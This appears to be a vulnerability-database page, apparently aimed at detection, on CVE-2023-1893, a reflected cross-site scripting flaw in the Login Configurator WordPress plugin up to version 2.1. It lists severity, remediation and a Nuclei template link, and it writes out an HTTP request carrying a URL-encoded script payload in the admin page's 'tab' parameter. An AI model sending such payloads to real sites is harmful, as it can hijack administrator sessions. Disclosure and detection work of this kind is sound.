🔙 목록으로 돌아가기

CVE-2023-1893: Login Configurator <=2.1 - Cross-Site Scripting

TitleLogin Configurator <=2.1 - Cross-Site Scripting
Author0xr2r
SeverityMedium
ImpactAttackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise.
RemediationUpdate to the latest version of the plugin where the issue is fixed.
CVSS Score6.1
EPSS Score0.01843
CVE IDCVE-2023-1893
CWE IDCWE-79
Tags cve cve2023 wp wp-plugin wordpress xss login_configurator vuln

🔍 Vulnerability Description

Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1893.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1893.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A